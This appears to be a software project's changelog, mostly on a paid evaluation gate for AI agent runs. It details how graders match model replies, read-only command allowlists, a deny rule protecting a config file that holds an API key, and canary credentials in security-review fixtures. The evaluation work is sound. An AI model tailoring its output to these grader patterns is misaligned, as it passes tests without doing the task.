review-gate-integrity: the disposition check also accepts option D's letter form ("D) open", "left open") and a Gate edits: line with a non-zero kept, restored or open count. In all seven reports, the open disposition was written in one of these forms, and the check passed only because option A was restated. "Gate edits: none detected", an all-zero line, UNAVAILABLE and an auto-fix report are still refused.

shared-libs-unsupported-git: the coverage disclosure must be in the model's own words. The shims' unknown option: --no-lazy-fetch and API unavailable in this fixture text is removed before matching, and "couldn't", "can't", "unreadable" and "no … history" now count. In run 39157502890, the only match had been the pasted 403 error, while the model's own disclosure ("I couldn't read Git history") had none. A report that pastes the error but claims full history is now refused.

investigate-owned-ending-error: the acknowledgment must be one sentence that names the verifier together with its failure ("the verifier couldn't run", "isn't verified", "unavailable"). Five of six runs had matched only the quoted FIXTURE_ENDING_ERROR output or "no cleanup errors". All 14 captured completion and abort replies, and the run that never reached the verifier, are refused.

tpa-present: the defer check now reads the lettered options rather than any mention of "defer". It accepts "put this off for now", "skip it for now and come back to it later" and "postpone", which Opus used for option D in 4 of 28 consent questions. Narration such as "if you would rather defer" no longer counts.

tpa-absent-linux, tpa-broken, tpa-absent-darwin (tightening): the Aside drive-offer detector also reads options inside a > blockquote and first-person offers ("I do it in your Aside browser"). It missed that tpa-present 39173752116 offer. All 21 captured absent, broken and darwin replies still offer none.

tpa-apple-ban (tightening): the no-drive check reads bulleted and bold options (- **B)** …). The old pattern caught a drive option in only 1 of the 28 captured Opus consent renders. All seven Apple-credential replies still offer none.

ship-local-hook-preservation: the manual-integration sentence also accepts "wired in" and "by hand" addressed to "someone" or in the passive ("needs to be wired in by hand"). Runs 39199692993, 39195396438 and 39173752116 used these forms.

ship-unmanaged-hook-consent: the declined acknowledgment also accepts "untouched", "nothing was installed or changed", "installed nothing" and "didn't modify/touch/change". A quoted option label (You chose "Leave it alone") no longer counts; run 39166935531 had matched only that.

plan-devex-finding-floor: the deterministic TTHW-target credit accepts "time-to-first-SDK-call target" and the template's "Which target fits this journey?". Runs 39173752116 and 39199692993 had fallen back to the LLM judge. Other target questions still go to the judge.

plan-design-with-ui-scope, Step 0D sentence: the template branch accepts "Want me to focus on specific areas instead?" without "of all 7", as runs 39181697029 and 39195396438 wrote it. Before, a line break in that sentence would have reproduced the 39199692993 red.

plan-design-with-ui-scope, Pass 1: the UI-choice title vocabulary includes the template's hierarchy question ("What does the user see first, second, third?"). Runs 39157502890 and 39161502626 had been carried only by the issue-numbered option labels.

plan-eng-coverage-audit (gate run 39207508651, its one red): Opus ran cd <cwd>; wc -l plan-eng-review/SKILL.md plan-eng-review/sections/review-sections.md; cat src/billing.ts; echo ----; cat test/billing.test.ts, and the output held both complete files. The read detector placed a file only after an echo label, so it refused the first cat. Output of exactly known length (wc -l over literal files in the cwd) now places the next file exactly that many lines later. An injected line, a missing count line, ls instead of wc, a path outside the cwd, a wrong file or swapped files still fail.

review-coverage-audit, separator collision: review/specialists/testing.md prints a --- line, so with echo --- as the separator a neighbouring line took the label's slot and the read was refused (run 39199692993 used echo ---- and passed). A label's slot is now counted from the end, and a second complete copy of the file anywhere after it voids the credit. A forged copy before the slot, a forged copy with a tampered slot, a later label with its own copy and a wrong file still fail.

shared-libs-unsupported-git (run 39161502626, the part the earlier fix missed): after the model's cd into the repository, Claude Code 2.1.292 re-probed the new directory with git -C <repo> worktree list --porcelain -z behind the same core.askPass=-first prefix as its --version probe. The earlier regression replayed only the first refused request. That probe of an absolute directory is now recognized as Claude's own, and the free regression replays every Git request of the capture through the gate's own read-only check, now shared as repoGitRequests and isReadOnlyRepoGitRequest. Another subcommand, an appended argument, a relative -C, a missing hook flag, a shell parent, a missing parent pid or a model command that copies the argv still fail.

Command-interface sweep (gate integrity): every captured Opus command and read from the eight gates and the local measurement runs was replayed through the command and read-evidence detectors: coverage audit, shared-libs, QA callers, qa-functional's live hook, the ship hook and skip actors, workflow boundaries, the autoplan read audit and AUQ capture. Of 79 rules, 55 are robust, the three above are fixed and 21 are left with reasons, mostly interfaces the fixture prompts prescribe verbatim (qa-functional's cat denial among them). Replaying all 50 captured coverage-audit Bash calls through the new detector loses no credit and adds only the 39207508651 read.

If you…

…compare pass rates across the switch: Fable trials carry harness_version: 5 and Opus trials 6; they are separate series.

…need Fable for one run: set GSTACK_EVAL_MODEL_CAPTURE=claude-fable-5-1 (or EVALS_MODEL).

[1.91.143.0] - 2026-10-18

Paid-eval fixtures can share one read-only Bash grammar, and the docs-sync fixture uses it, so a pure read inside the fixture no longer fails a case just because the model joined or piped it. In four Opus gates, docs-sync and qa-only cases went red on commands like wc -l <SKILL.md>, ls -la …/* and cat a; echo ----; cat b. Each was a harmless read inside the fixture, but each fixture's hand-kept allowlist rejected it. test/helpers/read-only-commands.ts decides once whether a command line only reads inside a fixture root. Fixtures whose contract is about which reads happen keep their narrow lists. On this tree the PR gate's 13 docs-sync cases all pass on Fable 5.1 ($20.62).

Added

The shared grammar. It accepts one line of listed read tools (pwd, ls, wc, head, tail, cat, stat, file, du, find, grep, rg, sort, uniq, cut, nl, the checksum tools, readlink, realpath, echo, printf and sed -n <range>p), joined with ;, && or ||. A pipe may feed only a filter, and cd may go only into the root. Every path operand, path-valued option and glob match must resolve, symlinks included, inside the root and outside the fixture's denied paths. It rejects other tools, redirects, substitutions, variables, tilde and brace expansion, background jobs, multi-line input, and the write, exec, symlink-following and output-file options of the listed tools. On Windows it accepts nothing.

The docs-sync fixture opts in. Its declared interface includes the grammar text. Git reads, the Preamble block, lifecycle and candidate commands, and scripts still each run as their own Bash call. The completed-read check credits a cat inside an accepted line, and a trailing ; on a declared read counts as a harmless wrapper.

Changed

Gate integrity, tightening: docs-sync's narrow pwd, ls, cat, stat and sha256sum forms used to accept any path. Now each operand must stay inside the fixture home, and actor state and every Claude config file except settings.json stay unreadable (.claude.json holds the API key). A replay of all 538 docs-sync commands from four Opus gates and 466 from two Fable gates finds none newly rejected.

Gate integrity, widening: 78 negative controls pin each rejected class to its rule. 56 accepted forms run for real and leave both the fixture tree and an outside tree byte-identical. echo and printf take literal arguments only (no printf -v). sed takes only -n and one line-range print script, so -i, w, -e and multi-command scripts stay rejected. No threshold, kind, trial, behavior assertion or narrow-list allowlist changes.

If you…

…write a fixture whose contract isn't about which reads happen: accept readOnlyCommandAllowed(command, { root, deny }) and declare readOnlyInterfaceText(root) to the actor.

[1.91.141.0] - 2026-10-18

Daily /cso reports now leave out candidates without demonstrated in-scope impact. The daily rubric already required an attacker-controlled entrypoint, a security-boundary crossing, demonstrated impact, and challenged protective controls. It now says what to omit: candidates whose impact needs code outside the snapshot or a future change, or that expose nothing sensitive. Those stay coverage evidence instead of supported findings. Comprehensive reports are unchanged and keep unresolved candidates as labeled hypotheses. In the third paid runtime qualification, daily precision was 47/53, below the 0.95 bar, and four of its five false-positive classes were findings of this kind. In a preregistered 12-cell pilot, 5 of the 6 false positives disappeared, every seeded issue was kept, and no new false positive appeared. Daily reports also drop low and informational real issues: 4 of the 13 pilot controls were lost this way. Garry accepted that trade-off. Comprehensive mode still reports them.

Changed

cso/SKILL.md.tmpl: the daily supported-finding paragraph names what to omit. The generated cso/SKILL.md is 18,097 bytes, under the 18,100 parity cap. This changes no gate, scorer, threshold, sample count, recall definition, baseline or answer key.

[1.91.140.0] - 2026-10-18

/cso evaluation cells that run a repair no longer fail on helper dependency-closure names that use the helper's own 32-character finding IDs. In the third paid runtime qualification, one comprehensive cell failed with REDACTION_FAILED again, on dependency-closures/<finding id>-after-<plan hash>.json. 1.91.135.0 taught the producer this name shape with a 64-character finding ID. The helper actually names closures with its 32-character finding IDs, so real names still fell through to the secret redactor, which reads some of them as wallet addresses.

Fixed

The eval producer recognizes dependency-closure names with 32- or 64-character finding IDs. Any other word in the phase position still goes through the redactor. The test now uses a real-length, redactor-flagged 32-character name and fails on the 1.91.135.0 pattern.

[1.91.139.0] - 2026-10-18

The docs-sync fixture's declared Git interface now includes read-only git describe, so ship-docsync-store no longer goes red when the /document-release child checks for release tags. PR #3272's gate run 39153452209 failed that case on one command, git describe --tags --always, which the observer did not list. A focused paid rerun of ship-docsync-store on this tree passed ($3.83); the child ran the same command twice and the observer accepted it.

Changed

Accepted: git describe with any of --tags, --always, --abbrev=<n> and --exact-match, plus at most one literal revision. The observer prose that parents pass to children lists the same forms, so the code allowlist and the prompt agree.

Still refused: --dirty and --broken, which take index.lock and rewrite .git/index (seen under strace on git 2.55), plus --contains, --all, any other flag, a second revision, redirection and composition. Write-capable Git commands such as git tag and git update-index stay outside the interface.

Gate integrity: this widens one observer allowlist (test/helpers/docsync-observer.ts) and tightens nothing. Free regressions cover all 36 Bash commands of the captured run and run each accepted form against a tagged fixture with an out-of-date file timestamp, checking that the repository and the raw index bytes don't change. Negative controls show that git describe --dirty really rewrites the index.

[1.91.138.0] - 2026-10-18

scripts/gate-cost-replay.ts --history replays PR gates' red runs and READY times, so the merge-train plan's two estimates are measured instead of assumed. Over Oct 3 to 18 (505 E2E Evals runs, 92 merged PRs), the screen-provisional rule run on each failing head's diff from its tested base would have missed the PR-caused red on 2 of the 13 PRs that had one (#3036, #3121): 2 of 72 paid-relevant PRs (2.8%), against the plan's 6% estimate. 13 of 92 merged PRs had a PR-caused red, matching the plan's figure. Replaying READY arrivals through trains of 5 with a 3-hour fill limit, the realized train averages about 2.3 PRs, so trains make 22 to 29 gate attempts a week rather than the 12 to 20 the train model assumed, and READY-to-merge p90 runs 5 to 8 hours. This is lane T0 of the plan to cut the paid gate bill about 4x; nothing changes what any gate runs.

Added

Red attribution as code. Each failed case of a red PR-gate run is PR-caused or outside by GSTA-47's rule: a transcript diagnosis, red in another PR within 72 hours, the next gated run's own diff, or whether the push to it changed the case's inputs. It reproduces all 22 of GSTA-47's PR-caused runs and the same 13 PRs.

The red-head replay. Every PR-caused red case is checked against the screen-provisional rule on the failing head (not the merged squash), diffed from the base its run tested (the tested merge commit's first parent). The canary set is fixed in code before any replay (SCREEN_CANARY_CASES, one gate case per preamble-dependent surface) and is provisional until T2 lands. The report also lists misses with an empty canary set: here it made no difference, and 22 of the 28 red cases were caught only because the failing head changed a harness global, which makes the screen the full gate.

The READY-arrival replay. READY is approximated by the first time the merged own diff (modulo main merges and stamps) had green Free Tests and E2E Evals before the merge; READY reports are not machine-readable. Arrivals then run through the train policy (screened PRs first, unscreened in their own train once 5 wait, 45 minutes a gate and a bisect, the train model's red and rebuild rules), reporting occupancy, rebuilds and READY-to-merge p50/p90 beside today's (p50 0.1 h, p90 3.3 h).

Logic lives in lib/gate-cost-history.ts; the CLI reads runs, PRs and report-verdict/trial-outcomes artifacts read-only with gh, cached, and fetches old PR heads by SHA.

If you…

…want current numbers: run bun run scripts/gate-cost-replay.ts --runs <full-gate run ids> --since <date> --until <date> --history. A cold run downloads the full gates once (about 9 minutes); a cached rerun takes about a minute.

[1.91.137.0] - 2026-10-18

scripts/gate-cost-replay.ts measures what the paid PR gate costs, and what each selection or merge-train policy would have cost, from recorded artifacts and for free. On the nine full gates of Oct 17 and 18 it reproduces GSTA-49's measurement: $93.14 recorded per gate, 97.1% of it Fable 5.1 (the model under test), 49.8% cache writes and 40.3% output. Over the 92 squash merges of Oct 3 to 18, today's selector averages $78.67 per merged PR on the $106.19 full-gate scale, R4's exercised-map shadow $64.27, and the screening rule $45.17 (screen-provisional). This is lane T0 of the plan to cut the paid gate bill about 4x; nothing changes what any gate runs.

Added

bun run scripts/gate-cost-replay.ts --runs <ids> [--since/--until | --prs] [--json]. It downloads the runs' paid-slice-* and trial-outcomes artifacts read-only with gh into .context/gate-cost-cache once, then prints recorded $ per gate by model and by token class (priced through lib/pricing.ts), a per-case mean cost table, and each merged PR's selection cost under today's selector, R4's shadow and the screening rule. A case whose runs record no cost (the PTY sessions) is estimated from its duration and marked estimated.

Screening figures print as screen-provisional. The rule's preamble detector is a line-commonality heuristic, not T2's hunk classifier, so the figures stay heuristic until T2 lands. A package.json change that only moves the version is neither selected nor a canary trigger, and all 24 judges always count.

A seeded merge-train model. Every merged PR lands in a train. PRs carry defects at the screened (6%) or unscreened (25%) rate, gates flake at 10% or 15%, each red pays a 6 bisect, a culprit is dropped and requeued, and an unattributed red gets one rebuild. It reports per week and per merged PR against $9,950 and $8,400 a week, plus screen spend, trains, gate attempts, bisects, rebuilds, stalls and red shares, for screening every PR, 80%, half, the cheapest or the most expensive half, or none. It uses CPython's Mersenne Twister, so seed 1 reproduces the measurement's sim.py exactly (trains of 5, 15% outside reds: $3,403, $2,672 and $1,986 a week for all, half and none).

Logic lives in lib/gate-cost.ts; the command is documented in docs/TESTING_INTERNALS.md#replay-gate-cost and CONTRIBUTING's "Which command do I run?".

If you…

…want current numbers: run bun run scripts/gate-cost-replay.ts --runs <full-gate run ids> --since <date> --until <date>. A shallow checkout tells you which git fetch --shallow-since to run first.

[1.91.136.0] - 2026-10-18

/cso release qualification counts a tested claim as false only when trusted evidence could have certified it. In the second paid runtime qualification, the falsely-tested gate counted 33 claims. 12 of them were on the evaluator's own fixture instrumentation and 2 were on real incidental issues, which only the seeded repair verification could ever certify. Garry chose option 1.

Changed

Tested claims on declared instrumentation count in neither direction. A finding the evaluator marks instrumentation is never falsely tested and never certified, the same way precision leaves it out.

A tested claim on an incidental finding needs a passing replay. The evaluator replays the helper's signed repair bundle for that finding against the trusted source and records trustedReplay. Only passed with a 64-hex replayEvidenceHash certifies the claim. failed or missing (no bound bundle) leaves it falsely tested.

Recall, repair, held-out repair, the v2 baseline and every threshold are unchanged. Those still need the seeded issue and the judge's own held-out verification. Validation rejects trustedReplay on any judgment other than a claimed incidental, a malformed or reused hash, and unknown fields.

If you…

…write an evaluator for cso-eval.ts: write trustedReplay only on claimed incidental findings, with result passed, failed or missing, and replayEvidenceHash on passed only.

[1.91.135.0] - 2026-10-18

/cso evaluation cells that run a repair no longer fail on the helper's own file names. In the second paid runtime qualification, one comprehensive Rails cell failed with REDACTION_FAILED. Once a repair ran, the helper retained dependency closures as <finding id>-before-<plan hash>.json. The producer's artifact inventory checks each path component, and this name didn't match any known helper-ID shape. So the secret redactor read the 64-character hex finding ID as a credential and failed the whole cell.

Fixed

The eval producer recognizes dependency-closure file names. <64-hex finding id>-before|after-<16-hex>.json is now a helper-ID shape, like run IDs and scanner-outcome names. Any other word in that position still goes through the redactor, and a test pins both cases.

[1.91.134.0] - 2026-10-18

The paid PR gate now starts only after a PR head's free tests pass and the PR has been quiet for 10 minutes, and a head whose own diff already passed the gate reuses that verdict instead of paying again. Re-measured over Oct 3 to 17 (505 runs, $21,449) with GSTA-47's scripts: the readiness wait alone would have saved $2,986 (about $1,380 a week), and verdict reuse up to $601 more (restamp-only $97, main moved $504). Together that is up to $3,587, about $1,660 a week; how much of the main-moved share survives the selection check is between $146 and $390 of the $601 by approximation. The same heads still get the same selection and verdict rules; only the start time moves. The PR receipt store, which never restored once, now does.

Changed

Readiness-gated dispatch (R1). The readiness job in evals.yml replaces the 90-second push-burst debounce. It sleeps out the quiet window (repository variable EVALS_QUIET_MINUTES, default 10; evals-no-debounce sets it to 0), then waits for Free Tests to pass on the same head SHA, for up to 80 minutes. Free Tests red on the head fails the run with no paid work. A newer push still cancels the run. Dispatches never wait, and Version Gate is not an input, so a stamp push always gets its gate.

The receipt store restores. slices-report now runs on a GitHub-hosted runner like recover-receipts. On Ubicloud its actions/cache save went to Ubicloud's transparent cache, which the GitHub-hosted restore never sees: GitHub's cache held no eval-input entry at all, and #3253's restamp gate restored nothing 3 minutes after its green run saved 56 receipts.

Added

Paid-gate verdict reuse (R2a restamp-only, R2 main moved), a gate edit. A PR head reuses the newest executed gate's GREEN verdict only when every newer run of the PR provably ran no paid slice, the gate had reconcile exit 0 and no manually accepted case, this head's own plan has the same selection fingerprint, and either (R2a) the base is unchanged and the tree receipt prints TREE: same-modulo-stamps with only VERSION, package.json, CHANGELOG.md or the agents digest differing, or (R2) main moved and the PR's own diff from its merge-base, stamp files excluded, is byte-identical. Base-ref code proposes the reuse (scripts/gate-reuse.ts find), the planner confirms the selection, no slice runs, and the PR comment says PASS (reused: restamp-only, R2a) or PASS (reused: main moved, R2) with the reused run, its head, why, and the receipt digest or own-diff signature. Free Tests and every other check still run on the new head. Anything else (a changed own diff, a non-stamp byte, a newer red or partial run, a missing binding, receipt or merge-base, evals-fresh) runs the full gate.

Fixed

The tree receipt no longer drops diff lines that start with -- or ++. Its unified-diff parser treated ---/+++ inside a hunk as file headers, so a release-output line beginning ++ or -- could pass as a stamp. It now reads headers only before a file's first hunk, and a file mode change is never a stamp.

autoplan-guard-pty no longer stalls at the phase boundary. Its scripted actor (haiku) published Phase 1, printed "Phase 1 complete." and ended its turn, so the case idled to its 480 s deadline with 2 of 4 guarded allows. This is the 489 s red seen on #3190, #3258, #3260 and this PR's stamped gate (run 39099195754). The script now runs steps 1 to 11 in one continuous run, and says the Phase 1 line is a boundary, not the end. The publication and the Phase 2 entry stay in separate messages. The case also stops waiting as soon as the actor ends its turn there, and names the cause PHASE_BOUNDARY_STOP.

If you…

…want a restamp to reuse its gate: put the CHANGELOG entry in the gated push (under ## [Unreleased] or the tentative version), so the stamp only re-heads it.

…want a main merge to reuse its gate: merge or rebase without touching the PR's own files; if main changed a file your PR also changes, the full gate runs.

…see "Free Tests run N concluded failure" on E2E Evals: fix and push, or re-run Free Tests and then re-run E2E Evals.

[1.91.133.0] - 2026-10-18

A lane on a small machine no longer reports done while its pregate test tier still waits on a remote run. The coordinator contract every lane inherits (autoplan reviewer prompts, gstack-autoplan contract, /spec's gate-and-file section) now says a lane is done only when gstack-pregate run --allow-repo-commands passes, and that a requires-remote obligation needs --stage tests --remote --spend-cap <cap>.

Changed

Coordinator contract, "Before done": requires-remote is unfinished, and the step names the --remote command that clears it. The WIP-push and sealed-guard rules are unchanged.

[1.91.132.0] - 2026-10-18

On a machine under 8 cores, gstack-pregate clears its test tier on one Ubicloud VM in about 7 minutes for about $0.06, instead of running locally for an hour. gstack's own .gstack/pregate.json now declares a remote gate, so a small machine records the local test tier as a requires-remote obligation and gstack-pregate --stage tests --remote --spend-cap 2 --timeout 2700 --allow-repo-commands clears it. All 1,280 free test files ran in 404 s (create 24 s, setup 72 s, tests 250 s) for $0.06; the same 798-file selection took 3,550 s locally on 4 cores. gstack-next-version also fetches open PRs' VERSION claims in parallel (8 PRs: 4,160 ms before, about 0.5 s now) and says so when it could not read one.

Added

scripts/ubicloud/pregate-remote.sh, gstack's remote gate. With UBICLOUD_API_KEY it runs the selected files on one VM with bun run test:ubicloud's environment, checks the tree and the planned file set on the VM before any test runs, and reports PREGATE_REMOTE: tree=… tests=… failed=… spent=… from billed minutes. Without a key it runs the same files locally in parallel shards and prints backend=local (N cores; not the CI environment).

The spend cap buys the wall time at the size's list price (at most 45 minutes); a cap that cannot buy 20 minutes refuses before any VM exists.

It finishes before pregate's own --timeout: 120 s are reserved for teardown, and a deadline too short to be useful refuses up front.

At create time it prints the VM name and the exact bash scripts/ubicloud/ubi-runner.sh down <name> line.

Paid test files in a selection are named and left to the paid PR gate; a paid-only selection reports tests=0, which never clears.

Every refusal starts with a PREGATE_REMOTE_* reason code; the table is in docs/pregate.md#remote-gate.

test-free-shards.ts --files-from <path> plans exactly the listed files. Unknown paths, an empty list and malformed or repeated lines are rejected before planning.

Changed

gstack-next-version fetches claims concurrently (up to 10, 15 s each) and sorts its output by PR number. A fetch that times out or fails is listed in unknown_claims, the JSON says complete: false, and the pick is marked provisional on stdout and stderr. The fork/path hint appears only for HTTP 404.

gstack-restamp in claim-at-open mode reports an incomplete claim queue as claims: incomplete, naming the unknown PRs, instead of read.

If you…

…run gstack-pregate on a machine under 8 cores in this repo: clear the test tier with gstack-pregate --stage tests --remote --spend-cap 2 --timeout 2700 --allow-repo-commands. Keyless works too but is practical only for small selections (98 files took 103 s on 4 cores).

…see complete: false from gstack-next-version: rerun it before stamping; the slot may collide.

[1.91.131.0] - 2026-10-18

gstack-pregate finds the tests for Python files, and a missing node_modules no longer reads as "stale generated files". In a Python repo, the lanes check failed almost every touched .py file with PREGATE_NO_LANE, because the import graph only parsed JavaScript and TypeScript. In a FastAPI service with about 1,500 non-test modules, Scott Gigante's change (#3201) cut the unmapped count from 1,473 to 780, and most of the rest are migrations and scripts no import reaches. Separately, a fresh checkout without node_modules made the pre-gate report REGEN_STALE and suggest rerunning the generator, which sent people the wrong way.

Added

Python import edges in lanes (thanks @scottgigante-hubflow, #3201). import a.b, from a.b import c, parenthesised lists and relative from . import x resolve from the repository root to a/b.py or a/b/__init__.py, plus the package __init__.py files Python runs on the way in. Stdlib and site-packages imports add nothing. In test files, a dotted mock.patch target such as 'pkg.mod.Class.method' maps to its module.

REGEN_DEPS_MISSING. When a regen command exits 0 with different outputs, package.json declares dependencies and node_modules is missing, gstack-regen check and the pre-gate say "dependencies missing (no node_modules); run bun install, then rerun the check" instead of REGEN_STALE. The install command follows the lockfile. The pre-gate check is incomplete, never pass.

Fixed

The Python scanner stays linear on hostile input and does not drop tests. Review found several problems before landing, all fixed:

Long runs of dots or spaces after from no longer backtrack quadratically.

Deep dotted names stay linear, and real deep modules still map.

An escaped triple quote no longer swallows the imports after it.

A literal that names a repo file still gets its mock.patch reading.

A package and a same-named module both map.

Imports after ; or : count.

If you…

…run gstack-pregate in a Python repo: touched modules now select the pytest files that import them. conftest.py, src/ layouts and importlib calls still need .gstack/pregate.json dependencies declarations.

…see REGEN_DEPS_MISSING: run the printed install command, then rerun the check.

[1.91.130.0] - 2026-10-18

Every PR plan now shows what a tighter, exercised-path case map would run, without changing what actually runs. Today a change to a bin or lib file reaches almost every gate case, because selection follows every mention of the file. The exercised-path map counts only what a case really executes: its touchfiles, its test's imports, the shell its skill runs, and the bins its recorded trials invoked. It runs in shadow mode. Replayed over every PR run that had a gate red between 2026-10-07 and 2026-10-17 (37 runs, 47 failed gate cases), it keeps all 47: bun run test:exercised-map --replay.

Added

A shadow line in each PR plan's coverage summary. It names the gate cases the map would select, drop and add, with per-file provenance and a predicted saving. The saving is a lower bound, because about 39% of observed case runs (the PTY trials) have no known cost.

bun run test:health reports the shadow saving and shadow misses per week. A red on a case the shadow would drop counts as a miss unless the case passed later at the same head SHA, which lists it as a flaky drop.

MAP_GAP lines in the paid report. A command a case ran outside its map is printed as MAP_GAP <case> <bin>, marked non-blocking for this PR, and widens the map at the next refresh. It never affects a verdict.

bun run test:exercised-map refreshes the committed map (test/helpers/exercised-commands.json) from a census run (--from-run <id>) or from local artifacts (--from-dir). Refreshes only add commands. Unavailable or partial input writes nothing and exits with a stable code: 2 usage, 3 unavailable, 4 incomplete.

For contributors

The weekly census unions its own recorded commands into the map and uploads it as exercised-map-a<attempt>.

A PR that changes only the map selects no paid case while the map is in shadow mode.

docs/TESTING_INTERNALS.md#exercised-path-map documents the edge classes, the refresh contract and the activation bar.

[1.91.129.0] - 2026-10-18

PR paid-lane selection reads every script it depends on, and fails closed when it can't. Selection derives which paid cases a changed file reaches by scanning imports. It skipped extensionless bun/node scripts, read 15 .ts files with the TSX loader, and treated a scan error as "no consumers", which under-selects. Across all 2,223 code files in the repo, scans now finish with 0 errors, and no (file, case) pair that main selected is lost.

Fixed

Shebang scripts and .ts files are scanned correctly. A leading #! line is stripped before scanning, extensionless bun/node scripts count as code, and the loader is chosen by file extension. 41 files that reached no paid case now reach the cases that use them.

A failed import scan restores the full gate with the label import scan failed and the file to fix, instead of silently selecting nothing.

Repository config no longer looks like an unknown dependency. .gstack/ship-policy.example.json, .github/dependabot.yml, .osv-scanner.toml, setup.ps1, .gitlab-ci.yml and .github/ISSUE_TEMPLATE/** are audited free-only files; capy/ paths are derived like other source; a full-gate file is labelled full-gate input.

Added

bun run test:health reports cost per merged PR first, plus gate cases per PR run and known cost per PR run, split by selection mode.

For contributors

The selection replay (scripts/replay-pr-selection.ts) honours the same free-only exemptions as the selector when it counts misses.

docs/TESTING_INTERNALS.md#pr-paid-lane-fallback describes the fallback classes as they now behave, and records why the lockfile stays a full-gate input.

[1.91.128.0] - 2026-10-18

The two free-suite duration seeds now refresh themselves weekly. The shard packers read a Linux and a Windows duration seed, and both went stale as test files came and went. They were refreshed by hand twice this week. A new weekly workflow records both seeds and opens one seed-refresh PR when either seed's file set changes. That PR goes through the normal review.

Added

free-durations-record.yml runs Mondays at 04:00 UTC, before test-health, and on dispatch. It records the Linux seed on ubicloud-standard-8, the free-suite shard runner, and the Windows seed through windows-free-tests.yml's record_durations path (now also callable with workflow_call). When either seed adds or drops a file, it opens or refreshes one PR on bot/free-duration-seeds and runs the free lanes on it. The PR body states the seed-ratchet result and names every file that failed while recording.

Guards: the bot never edits scripts/free-test-seed-allowlist.json. While the open seed PR holds any commit besides the bot's own refresh, later runs leave it alone. Only runs on main publish, and open_pr=false records and reports only. An interrupted recording, or more than 5 red files on either OS, proposes nothing.

Fixed

An interrupted manual Windows recording no longer uploads the unchanged committed seed under the Windows seed name.

[1.91.127.0] - 2026-10-17

The paid PR gate stops failing on its own fixtures. A 132-verdict PR gate was fully green only about a quarter of the time. Every red verdict since #3231 was diagnosed from its transcript and replayed through the real detector. This release fixes the remaining causes where they start: fixture actors that broke the production protocol, detectors that misread a correct run, and skill prompts that left the agent guessing. No threshold, trial count, case kind or quarantine changed.

Fixed

The State Machines specialist runs when its detector fails. The /review and /ship scope block now runs gstack-state-matrix detect itself and uses its output only on exit 0. A failure prints SCOPE_STATE_MACHINE=unknown with the detector's stderr, and unknown dispatches the specialist. Its output reaches gstack-state-matrix check as a file the agent writes, never as text in a shell command.

Consent options are lettered B, C and D when Aside is absent, matching the question's answer keys.

Plan-reality tier 1 rows are never n/a. A run no longer loops repairing deferred-asks n/a past its deadline.

/qa's exploratory stop rule needs one probe per documented input rule of each field. Each probe breaks only its rule and satisfies every other, so a value that breaks two rules covers neither. Rules left uncovered at the probe or time cap go to limits. After a fix, every earlier capture is superseded: rerun each one the verdict relies on, or report it as open.

gstack-docs-candidate snapshot --help and compare --help exit 0 before any side effect, and a compare reject names the path, each bad field and a fix that never re-snapshots over the pre-audit baseline.

The docsync fault actor uses the production candidate protocol. It writes candidates through the installed snapshot, and a failed snapshot reports a stable reason with one retry under a fresh audit id.

The required-probe reminder counts only captures after the last source edit when the caller declares GSTACK_QA_REQUIRED_AFTER_EDIT. Pre-repair captures no longer look like post-repair coverage. Without the declaration nothing changes.

Webhook fix evals reserve the post-repair reruns first inside the unchanged 12-capture ceiling.

The autoplan guard eval's actor waits for the reviewer. It ends its turn after a background dispatch and reads the close packet only after the reviewer finishes; before, the haiku actor sometimes read it early and failed the case on ordering alone.

The shim-dom scan check resolves the command's own _REPORT/_RUN, so a correct scan is no longer a red.

PTY failure dumps show the last non-blank screen, and visible text no longer carries cursor show/hide escapes.

Windows budgets: the nested review-army and answer-invalidation tests get explicit 30-45 s timeouts instead of Bun's 5 s default.

Changed

HARNESS_VERSION is 5. The PTY stripAnsi change can change pattern matches, so every case starts a new pass-rate series.

The qa-callers fixture prompt binds paths instead of teaching helper syntax, and points to the QA section for every form.

If you…

…write a caller for gstack-qa-evidence: set GSTACK_QA_REQUIRED_AFTER_EDIT={"paths":[absolute paths],"since":ISO} when your required probes must run after a repair.

[1.91.126.0] - 2026-10-17

Artifacts sync stops saying "ok" when two project folders differ only by letter case. When the artifacts repo tracks two spellings of one project, such as projects/MyApp/ and projects/myapp/, a Mac or Windows disk stores them as one file. Git there staged each write under the other spelling and the sync reported ok. One spelling then stayed modified forever, and other machines read the wrong bucket (#3220). This lands the detector from Kkkkkuro's #3223 and #3245, with credit, and holds those files instead of halting the whole sync.

Fixed

Case-colliding paths are held, not staged. A queued file whose path differs only by letter case (NFC plus casefold, at any folder level) from another path in the repo or the batch stays queued and is never staged. Everything else keeps syncing, and the status is collision, never ok. When one spelling is already tracked, it keeps syncing and only the new alias waits.

Sync verifies what git add staged and what a push would publish (Kkkkkuro, #3245). Paths or bytes that never reached the index keep the queue. A local commit or retry merge that would add a new case alias to the remote stays local, and that check now covers --publish-removals too.

Added

One skill-start line names the collision and the repair: ARTIFACTS_SYNC: attention: case-collision held=<N> names=<names>. ..., with the manual repair at docs/troubleshooting.md#artifact-case-collision. gstack-doctor warns the same way. Slug resolution and skill start are unchanged and never stop over this.

If you…

…see the case-collision line: keep one spelling with the repair steps in the troubleshooting doc. Nothing is merged or renamed automatically.

[1.91.125.0] - 2026-10-17

/cso release qualification measures precision on the application, not on the evaluator's own test rigging. In the first paid runtime qualification, the daily precision gate failed on every stack (8/34 to 8/49). 116 of the 132 findings counted as false positives pointed at instrumentation the evaluator plants in each fixture: canary credentials and the egress probe route. Most of the other 16 were real issues the fixtures happen to contain. Garry chose to keep the 0.95 bar and fix what it counts.

Changed

Daily precision leaves out findings on declared fixture instrumentation. The trusted evaluator marks them instrumentation, and they count in neither term.

A confirmed real issue counts as a true positive. When a unanimous judge panel confirms a non-seeded finding is a real issue in that source, the evaluator marks it incidental with an opaque key. Each distinct key adds one true positive per cell, so restating it never inflates precision. It never counts toward recall.

Recall, the v2 baseline and every threshold are unchanged. Validation rejects either new judgment on a hypothesis or with a seeded match, and rejects a missing or malformed key.

If you…

…write an evaluator for cso-eval.ts: incidental needs a 64-hex incidentalKey, and no other judgment may carry one.

[1.91.124.0] - 2026-10-17

/cso runs finish on time. In the first paid runtime qualification, one comprehensive run submitted its findings ten minutes in, kept working for another 25 minutes without calling the helper, and was killed before it called finish. Its report was never finished, so the cold-start gate scored 63/64. The agent had no clock to follow.

Added

Helper replies carry remainingSeconds. start, resume, submit, scan, scanner-outcome, import-sarif, record-review, test-plan, runtime-plan, verify and inspect report the whole seconds of investigation time left. The count stops where scan, verify and record-review start refusing with DEADLINE, so the final reporting minute stays free for submit and finish. The field is added after the command and only omitted if the deadline can't be read, so it never turns a saved change into an error.

